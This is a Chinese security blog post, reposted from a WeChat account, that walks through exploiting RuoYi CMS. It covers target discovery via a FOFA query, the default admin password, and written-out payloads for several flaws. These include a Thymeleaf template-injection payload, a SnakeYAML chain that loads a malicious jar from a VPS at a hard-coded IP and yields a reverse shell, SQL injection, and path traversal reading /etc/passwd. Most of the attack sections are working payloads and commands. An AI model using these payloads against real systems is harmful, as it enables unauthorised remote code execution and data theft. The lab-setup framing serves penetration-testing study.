cms漏洞利用工具(萌新也能找cms漏洞)

转自公众号:隐雾安全
http://mp.weixin.qq.com/s?__biz=MzkyNzM2MjM0OQ==&mid=2247483952&idx=1&sn=54cc1a889c0b8b686c5dcbc5f1ba916d

声明

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关!

目录

  • RuoYI CMS 环境搭建

    • 源码地址

    • 操作步骤

  • RuoYI CMS 简介

  • RuoYI CMS 漏洞利用

    • RuoYI 后台默认口令

    • Thymeleaf表达式注入

    • YAML代码执行

    • SQL注入

    • 任意文件上传

    • 其他漏洞利用点

  • RuoYI CMS 指纹特征

    • UI

    • 网页源码

RuoYI CMS 环境搭建

源码地址

https://gitee.com/y_project/RuoYi

使用IDEA打开源码后,按如下操作配置项目

操作步骤

配置Maven(需提前下载安装)

配置数据库连接信息

cms漏洞利用工具(萌新也能找cms漏洞)

配置RuoYI后台HTTP服务的端口

cms漏洞利用工具(萌新也能找cms漏洞)

安装sql文件

需提前启动mysql,并创建数据库

create database ry

需安装 quartz.sql 以及 ry_20201017.sql

cms漏洞利用工具(萌新也能找cms漏洞)

Reload project

cms漏洞利用工具(萌新也能找cms漏洞)

启动项目

cms漏洞利用工具(萌新也能找cms漏洞)

访问localhost:81即可看到RuoYI后台

cms漏洞利用工具(萌新也能找cms漏洞)

RuoYI CMS 简介

RuoYI CMS 的技术栈

  • 核心框架: Spring Boot

  • 安全框架: Apache Shiro

  • 模板引擎: Thymeleaf

  • 持久层框架: MyBatis

  • 定时任务: Quartz

  • 数据库连接池: Druid

  • 工具类: Fastjson

  • 其他

RuoYI在攻防中的出现频率较高,因此研究多种利用方式,有助于在攻防或项目上时快速对RuiYI的脆弱点进行测试

fofa语法: app=\\\"RuoYi\\\"

cms漏洞利用工具(萌新也能找cms漏洞)

RuoYI CMS 漏洞利用

RuoYI 后台默认口令

admin/admin123

Thymeleaf表达式注入

Ruoyi使用了thymeleaf-spring5,其中以下四个接口方法中设置了片段选择器:

/monitor/cache/getNames
/monitor/cache/getKeys
/monitor/cache/getValue
/demo/form/localrefresh/task

但不同版本中的

Payload

?fragment=hader(${T (java.lang.Runtime).getRuntime().exec(\\\"open -a Calculator.app\\\")})

攻击流程

payload拼接到上述的四个接口中的任意一个后,并将payload的所有字符进行URL编码,要执行的命令写在exec()函数内

cms漏洞利用工具(萌新也能找cms漏洞)

YAML代码执行

所需工具

  • yaml-payload: https://github.com/artsploit/yaml-payload.git
  • jdk环境: 用于修改payload后重新编译java源码,并打包成jar
  • 一台vps: 搭建HTTPFTP等服务,用于存放修改后的恶意的jar包,让RuoYI能找到、加载并执行其中的恶意代码

payload

org.yaml.snakeyaml.Yaml.load(\\\'!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL [\\\"http://攻击机ip/yaml-payload.jar\\\"]
]]
]\\\')

攻击流程

获取yaml-payload
git clone https://github.com/artsploit/yaml-payload.git
vps监听端口
nc -lvtp 2333
修改payload中的命令

修改/src/artsploit/AwesomeScriptEngineFactory.java

exec()方法中的IP地址和端口替换为vps监听的IP地址端口

cms漏洞利用工具(萌新也能找cms漏洞)
将源码打包成jar文件
cd yaml-payload

javac src/artsploit/AwesomescriptEngineFactory.java

jar -cvf yaml-payload.jar -C src/ .
cms漏洞利用工具(萌新也能找cms漏洞)

打包完成后,会得到一个yaml-payload.jar文件

将其放到vps上的HTTP目录下

*** 获取部署HTTP服务 ***

// 一、安装Apache(推荐)或Nginx服务
将 yaml-payload.jar 放到 /var/www/html/ 目录下

// 二、使用Python部署HTTP服务
python3 -m http.server 8000 // HTTP的端口即是8000,HTTP的目录就是当前执行python命令的目录
新建定时任务

RuoYI后台的 系统监控 –> 定时任务菜单下,点击新增

按照如下方式填入数据

其中要调用的目标字符串为:

org.yaml.snakeyaml.Yaml.load(\\\'!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL [\\\"http://49.235.66.165/yaml-payload.jar\\\"]
]]
]\\\')
cms漏洞利用工具(萌新也能找cms漏洞)
获取shell

新增完成后,点击更多操作 –> 执行一次

cms漏洞利用工具(萌新也能找cms漏洞)

此时可以发现vps上收到了反弹过来的shell

cms漏洞利用工具(萌新也能找cms漏洞)

SQL注入

影响版本

RuoYI < 4.6.1

payload

pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=&params[beginTime]=&params[endTime]=&params[dataScope]=and extractvalue(1,concat(0x7e,(select version()),0x7e))

攻击流程

访问RuoYI后台的系统管理 –> 角色管理菜单,点击搜索并抓包

cms漏洞利用工具(萌新也能找cms漏洞)

请求体的数据替换为上述的payload

可以发现成功注入,获取到了数据库信息

cms漏洞利用工具(萌新也能找cms漏洞)

任意文件上传

影响版本

RuoYI < v4.5.1

payload

/common/download/resource?resource=/profile/../../../../etc/passwd

攻击流程

访问payload后,即可下载对应的服务端文件

其他漏洞利用点

Shiro反序列化

影响版本

RuoYI < 4.2.0

4.2.0版本前,若依未修复Shiro的反序列化问题

cms漏洞利用工具(萌新也能找cms漏洞)

Druid 口令爆破(或未授权访问)

DruidRuoYI默认的数据库连接池,若能够破解Druid或未授权访问该接口,则可以获取到数据库、SQL等敏感信息

cms漏洞利用工具(萌新也能找cms漏洞)

内存马

关注隐雾安全 培训班 ,购买 进阶课程 解锁

RuoYI CMS 指纹特征

UI

RuoYI后台的UI界面牢牢刻在DNA中,以后遇到类似的界面,就可以合理怀疑使用是RuoYI或对RuoYI的二次开发平台

cms漏洞利用工具(萌新也能找cms漏洞)

网页源码

网页源码中若存在ry-ui,则可以确定是RuoYI

该方法可能还能获取RuoYI的版本v=x.x.x

隐雾安全

隐雾,是一个旨在为网络安全从业者提供专业的网络安全技术就业指导的专业团队,后期会开展专业的培训课程。

我们是以就业为导向的网络技术培训,整个课程安排旨在让各个级别的学生能从入门到精通,并配备他们进入网络安全领域所需的必备技能。

详情请添加客户人员:

原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34255.html

(0)
七芒星实验室's avatar七芒星实验室
上一篇 2024年4月4日 下午1:38
下一篇 2024年4月4日 下午1:40

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注